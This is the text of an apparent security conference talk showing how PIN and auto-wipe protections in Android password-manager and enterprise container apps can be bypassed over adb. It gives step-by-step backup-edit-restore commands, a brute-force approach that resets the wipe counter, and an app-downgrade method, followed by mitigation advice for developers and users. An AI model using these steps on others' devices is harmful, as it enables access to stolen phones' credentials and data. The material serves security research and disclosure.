::: MOBILE FAIL :::

Cracking open „secure“ Android Containers

Chris John Riley
> whoami

- IT Security Consultant
- Regular conference speaker
  - DEF CON | Bsides | Hashdays | SecZone | DeepSec
- blog → http://blog.c22.cc
- twitter → @ChrisJohnRiley
- Abject Failure (*See Life for reference*)
“The wisest man, is he who knows, that he knows nothing.”

Socrates: Apology, 21d
edge case
[:0] Why
[:1] Scenario
[:2] How
[:3] Closer Look
[:4] Making it easy
[:5] Review
[WHY?]
too much information

01100100 01100101 01110010 01110000 01101001 01100101 01110011 01110100
01100100 01100101 01110010 01110000 01111001 01100100 01100101 01110000 01100101 01110011 01110100
“Secure” Containers

Multiple uses
- Pa$$w0rd databases
- Corporate mail containers
- Secure notes / files
- Secure Messaging
- ...
secondary authentication
but...
The device is insecure
worse still...
BYOD

Bring Your Own Disease
Solution?
Move the security closer to the data!
it's not Rocket surgery
but...
... I lost my phone!
314 mobile phones 'stolen in London every day'

offenders traced three or four times out of 10

Source: UK Metropolitan Police 01/2013
state of security

Device
Pattern recorded.

LOCK SCREEN BYPASS FLAW FOUND IN SAMSUNG ANDROIDS
Android PIN Brute-Force

- Teensy device
  - Programmable USB HID
  - ~16.6 hours (4 digit PIN)

https://forums.hak5.org/index.php?/topic/28165-payload-android-brute-force-4-digit-pin/
secure containers will save us
... or not
Scenario

• Given physical access to a device
  • What security do “secure” containers provide
    • temporary access (< 3 minutes)
    • permanent access
GAME OVER
but...
remember
secure containers will SAVE us
TL;DR
pwn secure containers
NOT MY GOAL
bypass
device PIN
root the device
do anything resembling...
#2

[HOW?]}
keep it simple
Android

Debug

Bridge
ADB – Android Debug Bridge

• Requires USB Debugging Enabled
• Doesn't require ROOTed device
  • Root grants further access / makes things trivial

Hey, HTC told me other people reported that ADB was permanently enabled on the Tmobile HTC One too. Who else knew? Did they fix it with 4.3?

The tmobile HTC One update fixes the USB/ADB free shell. ADB no longer perma-enabled and ro.adb.secure is set. Advisory posting soonish.
adb

crash course
ADB – Android Debug Bridge

Allows application side-loading

- [un]install applications over adb
- Doesn’t require device to be active
- Can be PIN locked (for some functions)
- New security implemented in 4.3

ADB – Android Debug Bridge

adb backup

• Backup Android device over adb (ICS onwards)
  • -system → system data
  • -apk → application apk
• Can backup specific application data individually

adb backup com.android.app -f backup.ab

ADB – Android Debug Bridge

adb restore

• Restore Android backup over adb (ICS onwards)
• Restore specific application data individually
  • with or without application (apk)

adb restore backup.ab

ADB – Android Debug Bridge

adb pull / push

- Copy data to / from device over adb
- Limited access for non-root users
  - no access to application config without root
- Works on locked devices (PIN Protected)

adb pull /sdcard/secret.txt secret.txt

ADB – Android Debug Bridge

adb shell

- Shell access on device
- Send keys / taps
- Limited for non-root users
- Works on locked devices (PIN Protected)

Supporting Tools

- openssl
  - w/ zlib support compiled
- star
  - tar tool w/ added functionality we need
[Closer look]
lastpass

Personal solution (w/ enterprise option)

- Uses online sync
- Can be secured with a PIN
- Can wipe data after 5 false logons
- Restricts screenshots

https://lastpass.com/android
lastpass

Can store lastpass.com password

- So users don't need to type it **EVERY** time
- Reduces security
- Makes it **usable**!
Why store the PW?
The Last Password You Have to Remember

_mySecur3L@sTp@$$$p@$$$w0rd1sDAb0mb&&&:

• Easy to remember?
• Impossible to type!
It’s OK though
You can enable a PIN!
PIN Security

- Limited to 4 digits!
- “auto-Wipe” data
- after 5 false logons
PIN == SECURE!
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="apt.tutorial"

    android:versionCode="1"

    android:versionName="1.0">

    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:name=".FirstApp"

            android:label="@string/app_name">

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

    </application>

    <uses-sdk android:minSdkVersion="3" />

</manifest>
AndroidManifest.xml

```xml
<application android:allowBackup="true"/>
```
Default: true
adb backup com.lastpass.lpandroid -f lp.ab
What good is an .ab file?
Android Backup (.ab)

- zlib compressed *(kinda)*
  - skip header (24 bytes)
  - pipe to openssl w/zlib support

```
  dd if=dropbox.ab bs=24 skip=1 | openssl zlib -d > dropbox.tar
```
LPandroid.xml

- lastpass.com username
- lastpass.com password (encoded)
- PIN (encoded)
- Settings
- ...

```
<map>
    <string name="defaultsiteaction">showmenu</string>
    <string name="wxsossid">DKEIIMG0o-rTm4MfF0TmllhU2</string>
    <string name="welcome_shown_informsubmit">1</string>
    <string name="showlaunchalert">0</string>
    <string name="localattachmentlocation">memorycard</string>
    <string name="defastdecryption">1</string>
    <string name="requirepin">0</string>
    <string name="loginpw">wFkZbeg/0RA61XW3h4j4</string>
    <string name="pincodeforrepprompt">1XHIVj5iaCbDWD8AwE+uwQ==</string>
    <string name="donotrepromptfor">0</string>
    <string name="launchto">lastpass</string>
    <string name="repprompt_tries">0</string>
    <string name="loginpwcrypted">1</string>
    <string name="pincodeforreppromptcrypted">1</string>
    <string name="doicons">1</string>
    <string name="loginusr">evilthinker@untrustedsite.net</string>
    <string name="enableservverlogging">0</string>
</map>
```
<map>

<string name="defaultsiteaction">showmenu</string>
<string name="wxsessid">DKE1MIGF0o-rtM4GmFfOtMhIhU2</string>
<string name="welcome_shown_lpformssubmit">1</string>
<string name="showlaunchalert">0</string>
<string name="localattachmentlocation">memorycard</string>
<string name="dofastdecryption">1</string>
<string name="requirepin">0</string>
<string name="loginpw">wPkZbuG/0RAI6IX1a3indg==</string>
<string name="pincodeforrepprompt">!XHXlV3j5iaCbDWD8AwE+wQ==</string>
<string name="donotreppromptfor">0</string>
<string name="launchto">lastpass</string>
<string name="repprompt_tries">0</string>
<string name="loginpwencoded">1</string>
<string name="pincodeforreppromptencoded">1</string>
<string name="doicons">1</string>
<string name="loginuser">evilthinker@untrustedesite.net</string>
<string name="enableservletlogging">0</string>
</map>
<string name="reprompt_tries">
0
</string>
That looks interesting!
THEORY
if reprompt_tries < 5:
    prompt_for_pin()
else
    drop_the_DBass()
end
Theory

- `reprompt_tries` as *iterator*
  - increases till it reaches 5
  - Sounds reasonable

- *edit the XML and restore it*
  - Let's set “`reprompt_tries`” to `-9999` then ;}
Proposed Attack

- Backup app data
- Edit XML
  - set “reprompt_tries” to -9999
- Repackage
- Restore
0 - adb backup com.lastpass.lpandroid -f lpass.ab
1 - dd if=lpass.ab bs=24 skip=1 | openssl zlib -d > lpass.tar
2 - tar -tf lpass.tar > lpass.list
3 - tar -xvf lpass.tar
4 - edit apps/com.lastpass.lpandroid/sp/LPAndroid.xml
5 - star -c -v -f lpass_new.tar -no-dirslash list=lpass.list apps/
6 - dd if=lpass.ab bs=24 count=1 of=lpass_new.ab
7 - openssl zlib -in lpass_new.tar >> lpass_new.ab
8 - adb restore lpass_new.ab
Not the easiest process...
counter++
We get 10,000 tries
We get 10,000 tries
HOSPITAL
Let’s make it easier
<string name="passwordrepromptonactivate">0</string>
<string name="pincodeforreprompt"></string>
<string name="requirepin">0</string>
Easier Attack

• Backup app data
• Edit XML
  • remove PIN
• Repackage
• Restore
• WIN!
for points...
Persistence

/peəˈsɪst(ə)ns/

noun
1. the fact of continuing in an opinion or course of action in spite of difficulty or opposition.
Persistence

- **Backup LastPass from device A**
  - Edit backup to remove PIN
  - Rebuild backup

- **Restore backup to device B**
  - Close & restart to re-sync changes
  - Ongoing Profit?
...but I
RESET my password!
PROFIT++
spideroak

Personal and business solutions

- **BIG** on privacy
- Not bad on security
I said not bad!
Please note

The “Remember Me” functionality is very convenient. However, the login details are only as safe as physical access to your device.

Selecting the “Remember Me” function will enable access to the data stored within SpiderOak in the event that your phone is lost or stolen. We suggest using caution when selecting this option.

This option can be changed at any time in your settings.

https://spideroak.com
That's good!
...but users are dumb
...and spideroak
shoots itself in the foot!
spideroak

adb backup

- r/app_database/localstorage/file__0.localstorage
- BasicCredentials: Basic xxxxx
Still, better than moist
Box.com

Personal solution

• Can be secured w/ a PIN
• Limited to 4 digits
Box.com

Issue **not** reported to Box.com (**yet**)  
• Because **terrorism**

https://www.box.com/about-us/security/
Responsible Disclosure Guidelines

To encourage responsible disclosure, Box will not initiate any legal action against security researchers as long as they adhere to the following guidelines:

https://www.box.com/about-us/security/
MY MIDDLE FINGER SALUTES YOU
Just get to the good bit already…
Box.com

adb backup
  • myPreference.xml
myPreference.xml

<string name="pinCode">
  XXXXXX*
</string>

* hashed pin
subtle

adj

a. not immediately obvious or comprehensible
b. cunning or wily
Box.com

- adb backup
- remove PIN
- adb restore
  - Profit?
GOOD
for enterprise
GOOD

Enterprise email solution

• email | contacts | intranet browser | ...
• Secured with a PIN or password
  • enterprise policy
• Wipes data / device after 10 false logons

https://www.good.com
Adv. security features

• Double encryption
  • SSL Tunnel + Encrypted contents

• Full MDM solution
  • Password Policies
  • …

• r00t detection
  • emulator detection
  • advanced detection

https://www.good.com
Lost device (BYOD)

• Can an attacker prevent secure wipe
• Can an attacker access cached data
Lost device (BYOD)

- Can an attacker prevent secure wipe
- Can an attacker access cached data
PROBLEM 1
unlike LastPass
preferences are encrypted
PROBLEM

2
auto-wipe

...after 10 false logons
Disable PIN
auto-wipe counter
brute-force
but...
AndroidManifest.xml

<application android:allowBackup="true">
Theory

- Auto-wipe counter
- Stored IN app data somewhere
adb restore
overwrite
counter
auto-wipe
# facepalm
Naïve Attack

- Backup app data
- until good.unlock?
  - Try 9 PINS
  - Restore app data
PROBLEM 3
Naïve Attack timing

- 4 digit PIN
  - est. 4.5 hours*
- 6 digit PIN
  - est. 18.5 days*
- 8 digit PIN
  - est. 5 years*

* 18.75 ppm ~ 50% keyspace
Naïve Attack timing

- 4 lower alphanum
  - est. 31 days*
- 6 lower alphanum
  - est. 3 years*
- 8 lower alphanum
  - est. 110 years*

* 18.75 ppm ~ 50% keyspace
Naïve Attack timing

- 4 mixed alphanum
  - est. 1 year*
- 6 mixed alphanum
  - est. 46.5 years*
- 8 mixed alphanum
  - est. 2880 years*

* 18.75 ppm ~ 50% keyspace
CONTAINER Device
CONTAINER

Device
CONTAINER

Device
#facepalm

#facepalm
Entrez le mot de passe Good.
Adv. Attack

• Automate PIN + restore
  • adb shell input text
  • adb shell input keyevent
  • adb shell input tap
Minimize keyspace

• **Password Rules**
  • No sequenced numbers (e.g. 12xx / x23x / xx32)
  • No duplicate numbers (e.g. 1111)

• **Result**
  • **HIGHER** security
  • Less stupidity?
  • **REDUCED** keyspace
here's one?
Made earlier
PROFIT!
Making it easy
methodology

• Common methodology
  • Backup (adb)
  • Extract
  • Examine ← here be dragons
  • Edit ← bypass all the things
  • Repack
  • Restore (adb)
remember this process?
0 - adb backup com.lastpass.lpandroid -f lpass.ab
1 - dd if=lpass.ab bs=24 skip=1 | openssl zlib -d > lpass.tar
2 - tar -tf lpass.tar > lpass.list
3 - tar -xvf lpass.tar
4 - edit apps/com.lastpass.lpandroid/sp/LPAndroid.xml
5 - star -c -v -f lpass_new.tar -no-dirslash list=lpass.list apps/
6 - dd if=lpass.ab bs=24 count=1 of=lpass_new.ab
7 - openssl zlib -in lpass_new.tar >> lpass_new.ab
8 - adb restore lpass_new.ab
Say that 10 times fast!
automation
Python to the rescue
ab_unpacker.py

Usage:
ab_unpacker.py [options] arguments

Options:
--version
show program's version number and exit
-h, --help
show this help message and exit
-p PACKAGE, --package=PACKAGE
Android Package to backup
-b BACKFILE, --backfile=BACKFILE
Backup destination filename
-l, --list
Create Tar List file for repacking

https://github.com/ChrisJohnRiley/Random_Code
ab_packer.py

Usage:
ab_packer.py [options] arguments

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-d DIRECTORY, --directory=DIRECTORY Directory containing apps folder for repacking
-b BACKFILE, --backfile=BACKFILE Resulting Android Backup filename
-l LIST, --list=LIST List created from original backup
-o ORIGINAL, --original=ORIGINAL Original Android Backup filename
-r, --restore Restore to device on completion

https://github.com/ChrisJohnRiley/Random_Code
Makes Owning things
200% quicker
1000% funner
Bonus

not a bug
Sorry that I dropped my doritos in your ask
Sorry I dropped my doritos
Sorry I dropped my bag of doritos
Sorry I dropped the ball
Sorry I dropped your baby
Sorry I dropped my nokia
Sorry I dropped the ball meaning
Sorry I dropped you
KEEP CALM
IT'S ONLY A FLESH WOUND
You have an application bug

• Like one of the ones mentioned here
• But… the vendor has patched it!
exploit
Exploiting it anyway

Can’t exploit it straight off

• Need to make the vuln re-appear
Exploiting it anyway

Android allows downgrading of apps

- In a round-about way anyway ;)
- Bug or feature?
METHOD 1
Reinstall flag

Reinstall app using –r parameter
• APK MUST have valid matching signature

adb install -r <vulnerable_version.apk>
METHOD 2
Uninstall / Reinstall

- Uninstall application
  - Leave program data in place (-k)
- Reinstall app
  - APK MUST have valid matching signature

1> adb uninstall -k <current.app.version>
2> adb install <vulnerable_version.apk>
IT’S JUST A FLESH WOUND
“secure” containers ≠ SECURE containers
Physical access
GAME OVER
Data security
Can you read this?
android.allowBackup

Whether to allow the application to participate in the backup and restore infrastructure. If this attribute is set to false, no backup or restore of the application will ever be performed, even by a full-system backup that would otherwise cause all application data to be saved via adb. The default value of this attribute is true.

Must be a boolean value, either "true" or "false".

This may also be a reference to a resource (in the form “@{package:}type:name”) or theme attribute (in the form “?{package:}[type:]name”) containing a value of this type.

Constant Value: 16843392 (0x01010280)

Caution: Because the cloud storage and transport service can differ from device to device, Android makes no guarantees about the security of your data while using backup. You should always be cautious about using backup to store sensitive data, such as usernames and passwords.

http://developer.android.com/guide/topics/data/backup.html
Some devs

GET it!
NOTE: android:allowBackup is set to false below to prevent the key material from being extracted from the device using various backup methods (e.g., adb backup introduced in ICS).
pref files
Securing Apps

- Preference files are **NOT** secret
  - Encrypt preference data
  - **ONLY** store encrypted passwords
    - No XOR / base64 please
    - Better still don’t store passwords here!
  - Don’t **TRUST** the config
    - HMAC | Sign | Encrypt
Securing Apps

• Disallow Android Backup
  • if you don’t absolutely need it!

```xml
<application android:allowBackup="false"/>
```
extra
security
Extra Security

- USB Debugging
  - Detect + Disable app when activated
- Root makes these hacks **easier still**
  - read/edit preference files on device itself
  - **ROOT** detection is too basic
    - easy to fool
users
Users

• **Encrypt your device**
  • Encrypts ADB backups
    • Need to enter same passcode on backup screen
• **Disable USB Debugging**
  • Protects against adb pull / push attacks
• Don’t lose your phone ;)}
Users

- **Upgrade** to the latest Android release
  - If possible
- **Additional ADB protections**
  - Introduced in Android 4.3
Protect USB storage
Apps must request permission to read USB storage

USB security

Allow USB debugging?

The computer’s RSA key fingerprint is:

Always allow from this computer

Select debug app
No debug application set

Cancel
OK
OMFG
A Talking
Horse!

Questions?

Bite me
space
boy!!!
Thanks for coming

http://blog.c22.cc
@ChrisJohnRiley | contact@c22.cc